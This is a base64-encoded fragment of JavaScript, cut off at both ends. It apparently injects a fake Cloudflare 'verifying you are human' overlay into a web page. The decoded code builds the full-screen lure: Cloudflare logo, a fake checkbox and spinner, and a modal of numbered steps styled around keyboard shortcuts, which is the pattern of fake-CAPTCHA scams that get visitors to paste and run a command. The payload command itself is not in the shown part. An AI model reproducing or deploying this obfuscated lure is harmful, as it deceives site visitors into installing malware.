ScrJyNidy1jZi1yb290IC5oMXtsaW5lLWhlaWdodDoxLjQ7Zm9udC1zaXplOjIuNWVtO2ZvbnQtd2VpZ2h0OjUwMDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDowLjc1ZW07Y29sb3I6I2ZmZjt9JysnI2J3LWNmLXJvb3QgLmgye2xpbmUtaGVpZ2h0OjEuNTtmb250LXNpemU6MS41ZW07Zm9udC13ZWlnaHQ6NDAwO2NvbG9yOiNkMWQxZDE7bWFyZ2luLXRvcDowLjNlbTt9JysnI2J3LWNmLXJvb3QgLmhlYWRpbmctZmF2aWNvbntoZWlnaHQ6MWVtO3dpZHRoOmF1dG87fScrJyNidy1jZi1yb290IC5jb3JlLW1zZ3tsaW5lLWhlaWdodDoxLjY7Zm9udC1zaXplOjEuNWVtO2ZvbnQtd2VpZ2h0OjQwMDtjb2xvcjojZDFkMWQxO21hcmdpbi10b3A6Mi41ZW07fScrJyNidy1jZi1yb290IC53aWRnZXQtc3BhY2Vye21hcmdpbjoyLjVlbSAwO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtd2luZG93e2JveC1zaXppbmc6Ym9yZGVyLWJveDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOnN0cmV0Y2g7anVzdGlmeS1jb250ZW50OmNlbnRlcjtib3JkZXI6MXB4IHNvbGlkICM3OTc5Nzk7YmFja2dyb3VuZC1jb2xvcjojMjMyMzIzO2hlaWdodDo3OHB4O3VzZXItc2VsZWN0Om5vbmU7cGFkZGluZzowIDE2cHg7d2lkdGg6MTAwJTttYXgtd2lkdGg6MzIwcHg7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93e2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7d2lkdGg6MTAwJTttaW4taGVpZ2h0Ojc4cHg7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Z2FwOjdweDtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5jaGVja2JveC1jb250YWluZXJ7d2lkdGg6MzBweDtmbGV4OjAgMCAzMHB4O2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjtwb3NpdGlvbjpyZWxhdGl2ZTt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94e3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7Ym9yZGVyLXJhZGl1czozcHg7Ym9yZGVyOjJweCBzb2xpZCAjZGFkYWRhO2JhY2tncm91bmQ6IzIzMjMyMztjdXJzb3I6cG9pbnRlcjtkaXNwbGF5OmJsb2NrO291dGxpbmU6bm9uZTtwYWRkaW5nOjA7LXdlYmtpdC1hcHBlYXJhbmNlOm5vbmU7YXBwZWFyYW5jZTpub25lO3RyYW5zaXRpb246Ym9yZGVyLWNvbG9yIC4yczt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94OmhvdmVye2JvcmRlci1jb2xvcjojZmJhZDQxO30nKycjYnctY2Ytcm9vdCAudGV0dHh7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjttaW4taGVpZ2h0OjMwcHg7ZmxleDoxO2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLnRldHR4IHB7bWFyZ2luOjAgIWltcG9ydGFudDtsaW5lLWhlaWdodDoxO2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiNmZmY7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxke2Rpc3BsYXk6aW5saW5lLWZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO3RleHQtYWxpZ246cmlnaHQ7YWxpZ24taXRlbXM6ZmxleC1lbmQ7ZmxleC1zaHJpbms6MDt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94LXJvdz5kaXY6bGFzdC1jaGlsZCBpbWd7d2lkdGg6OTBweDttYXJnaW4tYm90dG9tOjRweDt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94LXJvdz5kaXY6bGFzdC1jaGlsZCBwe2xpbmUtaGVpZ2h0OjEuNDtjb2xvcjojYmJiO2ZvbnQtc2l6ZTo4cHg7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTttYXJnaW46MCAhaW1wb3J0YW50O3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLnNwaW5uZXItd3JhcHtkaXNwbGF5Om5vbmU7d2lkdGg6MzJweDtoZWlnaHQ6MzJweDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjt9JysnI2J3LWNmLXJvb3QgLmNrLXdyYXB7ZGlzcGxheTpub25lO3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7fScrJyNidy1jZi1yb290IC5mb290ZXJ7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjA7bGVmdDowO3JpZ2h0OjA7cGFkZGluZzoxZW0gMS41ZW07fScrJyNidy1jZi1yb290IC5mb290ZXItaW5uZXJ7Ym9yZGVyLXRvcDoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjFlbSAwO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZTouNzVlbTt9JysnI2J3LWNmLXJvb3QgLnJje2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt9JysnI2J3LWNmLXJvb3QgLnZlcmlmeS13aW5kb3d7cG9zaXRpb246Zml4ZWQgIWltcG9ydGFudDt0b3A6MCAhaW1wb3J0YW50O2xlZnQ6MCAhaW1wb3J0YW50O3dpZHRoOjEwMCUgIWltcG9ydGFudDtoZWlnaHQ6MTAwJSAhaW1wb3J0YW50O2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuNyk7ZGlzcGxheTpub25lO2p1c3RpZnktY29udGVudDpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyO3otaW5kZXg6MjE0NzQ4MzY0OCAhaW1wb3J0YW50O29wYWNpdHk6MDt0cmFuc2l0aW9uOm9wYWNpdHkgLjNzLHZpc2liaWxpdHkgLjNzO30nKycjYnctY2Ytcm9vdCAudmVyaWZ5LXdpbmRvdy5hY3RpdmV7ZGlzcGxheTpmbGV4O29wYWNpdHk6MTt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWNvbnRlbnR7YmFja2dyb3VuZDojMmIyYjJiO2JvcmRlci1yYWRpdXM6OHB4O21heC13aWR0aDo0MjBweDt3aWR0aDo5MCU7b3ZlcmZsb3c6aGlkZGVuO3RyYW5zZm9ybTpzY2FsZSguOTUpO3RyYW5zaXRpb246dHJhbnNmb3JtIC4zczt9JysnI2J3LWNmLXJvb3QgLnZlcmlmeS13aW5kb3cuYWN0aXZlIC5tb2RhbC1jb250ZW50e3RyYW5zZm9ybTpzY2FsZSgxKTt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWhlYWRlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg5MGRlZywjZjM4MDIwLCNlOWEzM2YpO3BhZGRpbmc6MXJlbSAxLjVyZW07ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6MTBweDtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7dGV4dC1hbGlnbjpsZWZ0ICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5tb2RhbC1oZWFkZXIgaDJ7Zm9udC1zaXplOjFlbTttYXJnaW46MCAhaW1wb3J0YW50O2NvbG9yOiNmZmY7Zm9udC13ZWlnaHQ6NjAwO30nKycjYnctY2Ytcm9vdCAubW9kYWwtaGVhZGVyIHB7Zm9udC1zaXplOi43NWVtO21hcmdpbjouMWVtIDAgMCAhaW1wb3J0YW50O2NvbG9yOiNmZmY7b3BhY2l0eTouOTt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWhlYWRlciBpbWd7aGVpZ2h0OjQwcHg7fScrJyNidy1jZi1yb290IC5tb2RhbC1ib2R5e3BhZGRpbmc6MS4yNWVtO2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLmluc3RydWN0aW9uLWxpc3R7bGlzdC1zdHlsZTpub25lO3BhZGRpbmc6MCAhaW1wb3J0YW50O21hcmdpbjowIDAgMS4yNWVtICFpbXBvcnRhbnQ7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjtnYXA6MC44NWVtO30nKycjYnctY2Ytcm9vdCAuaW5zdHJ1Y3Rpb24tbGlzdCBsaXtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2dhcDoxZW07cGFkZGluZzoxZW0gMS4xZW0gIWltcG9ydGFudDttYXJnaW46MCAhaW1wb3J0YW50O2JhY2tncm91bmQ6cmdiYSgyNTUsMjU1LDI1NSwuMDcpO2JvcmRlci1sZWZ0OjJweCBzb2xpZCAjZjM4MDIwO2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtbGVmdHtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDouNzVlbTtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5zdGVwLWJhZGdle2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjt3aWR0aDoyMnB4O2hlaWdodDoyMnB4O2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDEzNWRlZywjZjM4MDIwLCNlOWEzM2YpO2NvbG9yOiNmZmY7Zm9udC13ZWlnaHQ6NzAwO2ZvbnQtc2l6ZToxMXB4O2JvcmRlci1yYWRpdXM6NTAlO2ZsZXg6MCAwIGF1dG87fScrJyNidy1jZi1yb290IC5zdGVwLXRleHR7Y29sb3I6I2ZmZjtmb250LXNpemU6MTNweDt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtdGV4dCBie2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JhY2tncm91bmQ6cmdiYSgyNDMsMTI4LDMyLC4yKTtjb2xvcjojZjU5MDQwO3BhZGRpbmc6MnB4IDhweDtib3JkZXItcmFkaXVzOjRweDtib3JkZXI6MXB4IHNvbGlkIHRyYW5zcGFyZW50O2ZvbnQtd2VpZ2h0OjcwMDtmb250LXNpemU6MTEuNXB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7bWFyZ2luOjAgMnB4O2JveC1zaGFkb3c6bm9uZTt0cmFuc2l0aW9uOmJhY2tncm91bmQgLjE1cyxjb2xvciAuMTVzLHRyYW5zZm9ybSAuMTJzO3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtdGV4dCBiLmtsaXR7YmFja2dyb3VuZDpyZ2JhKDI0MywxMjgsMzIsLjQ1KTtib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7Y29sb3I6I2ZmYjg3MDtib3gtc2hhZG93Om5vbmU7dHJhbnNmb3JtOnNjYWxlKDAuOTUpO30nKycjYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGJ7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6dmlzaWJsZTt9JysnI2J3LWNmLXJvb3QgLndrLWhpbnR7cG9zaXRpb246YWJzb2x1dGU7dG9wOi03cHg7cmlnaHQ6LTlweDt3aWR0aDoxNHB4O2hlaWdodDoxNHB4O2JhY2tncm91bmQ6cmdiYSg4MywxNTUsMjQ1LC44NSk7Y29sb3I6I2ZmZjtib3JkZXItcmFkaXVzOjUwJTtmb250LXNpemU6OC41cHg7Y3Vyc29yOmhlbHA7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2ZvbnQtd2VpZ2h0OjgwMDtmb250LWZhbWlseTpzeXN0ZW0tdWksc2Fucy1zZXJpZjtsaW5lLWhlaWdodDoxO3otaW5kZXg6Mztib3JkZXI6MXB4IHNvbGlkIHJnYmEoODMsMTU1LDI0NSwuNCk7bGV0dGVyLXNwYWNpbmc6MDt9JysnI2J3LWNmLXJvb3QgLndrLXRvb2x0aXB7ZGlzcGxheTpub25lO3Bvc2l0aW9uOmFic29sdXRlO3RvcDpjYWxjKDEwMCUgKyA2cHgpO2xlZnQ6MDtiYWNrZ3JvdW5kOiMxMzFjMzU7Y29sb3I6I2M4ZDZmODtib3JkZXI6MXB4IHNvbGlkIHJnYmEoOTAsMTM3LDIyNiwuMzUpO2JvcmRlci1yYWRpdXM6N3B4O3BhZGRpbmc6OHB4IDExcHg7Zm9udC1zaXplOjExLjVweDt3aGl0ZS1zcGFjZTpub3JtYWw7d2lkdGg6MjE4cHg7ei1pbmRleDoyMDtwb2ludGVyLWV2ZW50czpub25lO2ZvbnQtZmFtaWx5OnN5c3RlbS11aSxzYW5zLXNlcmlmO2ZvbnQtd2VpZ2h0OjQwMDtib3gtc2hhZG93OjAgNnB4IDE4cHggcmdiYSgwLDAsMCwuNSk7bGluZS1oZWlnaHQ6MS40NTtmb250LXN0eWxlOm5vcm1hbDtsZXR0ZXItc3BhY2luZzowO30nKycjYnctY2Ytcm9vdCAud2staGludDpob3ZlciAud2stdG9vbHRpcHtkaXNwbGF5OmJsb2NrO30nKycjYnctY2Ytcm9vdCAua2V5LWNvbWJve2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjRweDtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjIpO3BhZGRpbmc6M3B4IDZweDtib3JkZXItcmFkaXVzOjRweDtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IGtiZHtkaXNwbGF5OmlubGluZS1mbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO21pbi13aWR0aDoyNnB4O2hlaWdodDoyNnB4O3BhZGRpbmc6MCA1cHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTQ1ZGVnLCMyZDJkMmQsIzFhMWExYSk7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0O2JvcmRlci1yYWRpdXM6NHB4O2JveC1zaGFkb3c6MCAxcHggMCAjMGEwYTBhO2NvbG9yOiNmZmY7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO2ZvbnQtc2l6ZToxMXB4O2ZvbnQtd2VpZ2h0OjYwMDt3aGl0ZS1zcGFjZTpub3dyYXA7fScrJyNidy1jZi1yb290IC5rZXktY29tYm8gLnBsdXN7Y29sb3I6Izg4ODtmb250LXNpemU6MTJweDt9JysnI2J3LWNmLXJvb3QgLmtleS1jb21ibyAuaGludHtjb2xvcjojZjM4MDIwO2ZvbnQtc2l6ZToxNHB4O21hcmdpbi1sZWZ0OjJweDt9JysnQG1lZGlhKHByZWZlcnMtY29sb3Itc2NoZW1lOmxpZ2h0KXsjYnctY2Ytcm9vdHtiYWNrZ3JvdW5kOiNmZmYgIWltcG9ydGFudDtjb2xvcjojMTExO30jYnctY2Ytcm9vdCAuaDF7Y29sb3I6IzExMTt9I2J3LWNmLXJvb3QgLmNvcmUtbXNne2NvbG9yOiM0NDQ7fSNidy1jZi1yb290IC5mb290ZXItaW5uZXJ7Ym9yZGVyLXRvcC1jb2xvcjojZGRkO2NvbG9yOiM3Nzc7fSNidy1jZi1yb290IC5jaGVja2JveC13aW5kb3d7Ym9yZGVyLWNvbG9yOiNkMWQxZDE7YmFja2dyb3VuZC1jb2xvcjojZjlmOWY5O30jYnctY2Ytcm9vdCAuY2hlY2tib3h7Ym9yZGVyLWNvbG9yOiNhYWE7YmFja2dyb3VuZDojZWVlO30jYnctY2Ytcm9vdCAudGV0dHggcHtjb2xvcjojMTExO30jYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxkIHB7Y29sb3I6IzU1NTt9I2J3LWNmLXJvb3QgLm1vZGFsLWNvbnRlbnR7YmFja2dyb3VuZDojZmZmO30jYnctY2Ytcm9vdCAuc3RlcC10ZXh0e2NvbG9yOiMyMjI7fSNidy1jZi1yb290IC5zdGVwLXRleHQgYntiYWNrZ3JvdW5kOnJnYmEoMjQzLDEyOCwzMiwuMTUpO2NvbG9yOiNiMDU1MDA7Ym9yZGVyLWNvbG9yOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6bm9uZTt9I2J3LWNmLXJvb3QgLnN0ZXAtdGV4dCBiLmtsaXR7YmFja2dyb3VuZDpyZ2JhKDI0MywxMjgsMzIsLjMyKTtib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7Y29sb3I6IzkwNDAwMDtib3gtc2hhZG93Om5vbmU7fSNidy1jZi1yb290IC5pbnN0cnVjdGlvbi1saXN0IGxpe2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMDQpO30jYnctY2Ytcm9vdCAud2staGludHtiYWNrZ3JvdW5kOnJnYmEoMzAsNzQsMTg0LC44KTtib3JkZXItY29sb3I6cmdiYSgzMCw3NCwxODQsLjQpO30jYnctY2Ytcm9vdCAud2stdG9vbHRpcHtiYWNrZ3JvdW5kOiNlZWYyZmY7Y29sb3I6IzFlM2E4YTtib3JkZXItY29sb3I6cmdiYSg2MSwxMDcsMTkxLC4zNSk7Ym94LXNoYWRvdzowIDRweCAxMnB4IHJnYmEoMCwwLDAsLjEpO319JysnI2J3LWNmLXJvb3QgLnRlcm0tY2hpcHtkaXNwbGF5OmlubGluZS1mbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCNmMzgwMjAsI2U5YTMzZik7Y29sb3I6I2ZmZjtib3JkZXItcmFkaXVzOjVweDtmb250LXNpemU6LjhlbTtmb250LXdlaWdodDo3MDA7cGFkZGluZzoycHggN3B4O21hcmdpbi1sZWZ0OjVweDt3aGl0ZS1zcGFjZTpub3dyYXA7fScrJyNidy1jZi1yb290IC5jZi1sb2FkZXJ7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjthbGlnbi1pdGVtczpjZW50ZXI7cGFkZGluZzouNzVlbSAwIDEuMjVlbTt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlciBzdmd7d2lkdGg6NzJweDtoZWlnaHQ6YXV0bzttYXJnaW4tYm90dG9tOjEwcHg7fScrJyNidy1jZi1yb290IC5jZi1sb2FkZXItYmFye3dpZHRoOjExNnB4O2hlaWdodDo0cHg7YmFja2dyb3VuZDojZTVlNWU1O2JvcmRlci1yYWRpdXM6MnB4O292ZXJmbG93OmhpZGRlbjttYXJnaW4tdG9wOjRweDt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlci1iYXItaW5uZXJ7d2lkdGg6MjUlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDkwZGVnLHRyYW5zcGFyZW50LCNmNzgxMDAgNDUlLCNmNzgxMDAgNTUlLHRyYW5zcGFyZW50KTtib3JkZXItcmFkaXVzOjJweDthbmltYXRpb246Y2ZMb2FkQmFyIDEuNXMgZWFzZS1pbi1vdXQgaW5maW5pdGU7fScrJ0BrZXlmcmFtZXMgY2ZMb2FkQmFyezAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMDAlKX01MCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoNDAwJSl9MTAwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTAwJSl9fScrJ0BrZXlmcmFtZXMgYndDZlNwaW57MCV7dHJhbnNmb3JtOnJvdGF0ZSgwZGVnKTt9MTAwJXt0cmFuc2Zvcm06cm90YXRlKDM2MGRlZyk7fX0nKydAa2V5ZnJhbWVzIGJ3Q2ZQdWxzZXswJSwxMDAle29wYWNpdHk6MTt9NTAle29wYWNpdHk6LjU7fX0nOw0KICAgICAgICBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHN0eWxlRWxlbWVudCk7DQoNCiAgICAgICAgdmFyIHJvb3RFbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQogICAgICAgIHJvb3RFbGVtZW50LmlkID0gJ2J3LWNmLXJvb3QnOw0KICAgICAgICByb290RWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2RpcicsICdsdHInKTsNCiAgICAgICAgcm9vdEVsZW1lbnQuc3R5bGUuY3NzVGV4dCA9ICdwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtib3gtc2l6aW5nOmJvcmRlci1ib3ghaW1wb3J0YW50O3RyYW5zZm9ybTpub25lIWltcG9ydGFudDsnOw0KICAgICAgICByb290RWxlbWVudC5pbm5lckhUTUwgPSBgDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaDEiPg0KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iJHtDTE9VREZMQVJFX0ZVTExfTE9HT19CQVNFNjR9IiBjbGFzcz0iaGVhZGluZy1mYXZpY29uIiBhbHQ9IkNsb3VkZmxhcmUiPg0KICAgICAgICAgICAgICAgICAgICA8c3Bhbj4ke0RJU1BMQVlfSE9TVE5BTUV9PC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2lkZ2V0LXNwYWNlciI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNoZWNrYm94LXdpbmRvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjaGVja2JveC1yb3ciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNoZWNrYm94LWNvbnRhaW5lciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iY2hlY2tib3giIGlkPSJjZi1jYiIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNwaW5uZXItd3JhcCIgaWQ9ImNmLXNwIiBzdHlsZT0iZGlzcGxheTpmbGV4Ij4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2aWV3Qm94PSIwIDAgMzAgMzAiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiBzdHlsZT0iYW5pbWF0aW9uOmJ3Q2ZTcGluIDEuNnMgbGluZWFyIGluZmluaXRlO2Rpc3BsYXk6YmxvY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIxNSIgY3k9IjQiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iMSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjIyLjc4IiBjeT0iNy4yMiIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuODc1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNpcmNsZSBjeD0iMjYiIGN5PSIxNSIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuNzUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIyMi43OCIgY3k9IjIyLjc4IiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii42MjUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIxNSIgY3k9IjI2IiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii41Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNpcmNsZSBjeD0iNy4yMiIgY3k9IjIyLjc4IiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii4zNzUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSI0IiBjeT0iMTUiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjI1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNpcmNsZSBjeD0iNy4yMiIgY3k9IjcuMjIiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjEyNSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjay13cmFwIiBpZD0iY2YtY2siPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3ZnIHdpZHRoPSIyOCIgaGVpZ2h0PSIyOCIgdmlld0JveD0iMCAwIDUwIDUwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIyNSIgY3k9IjI1IiByPSIyMyIgZmlsbD0iIzI4YTc0NSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0xNSAyNUwyMiAzMkwzNSAxOCIgc3Ryb2tlPSIjZmZmIiBzdHJva2Utd2lkdGg9IjQiIGZpbGw9Im5vbmUiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRldHR4Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgaWQ9ImNmLWxibCI+JHtVSV9UUkFOU0xBVElPTlMudmVyaWZ5aW5nVGV4dH08L3A+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjthbGlnbi1pdGVtczpmbGV4LWVuZDtmbGV4LXNocmluazowIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9IiR7Q0xPVURGTEFSRV9GVUxMX0xPR09fQkFTRTY0fSIgYWx0PSIiIHN0eWxlPSJ3aWR0aDo5MHB4O21hcmdpbi1ib3R0b206NHB4Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgc3R5bGU9Im1hcmdpbjowO2xpbmUtaGVpZ2h0OjEuNDtjb2xvcjojYmJiO2ZvbnQtc2l6ZTo4cHg7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt3aGl0ZS1zcGFjZTpub3dyYXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHtVSV9UUkFOU0xBVElPTlMucHJpdmFjeUxpbmt9IMK3ICR7VUlfVFJBTlNMQVRJT05TLnR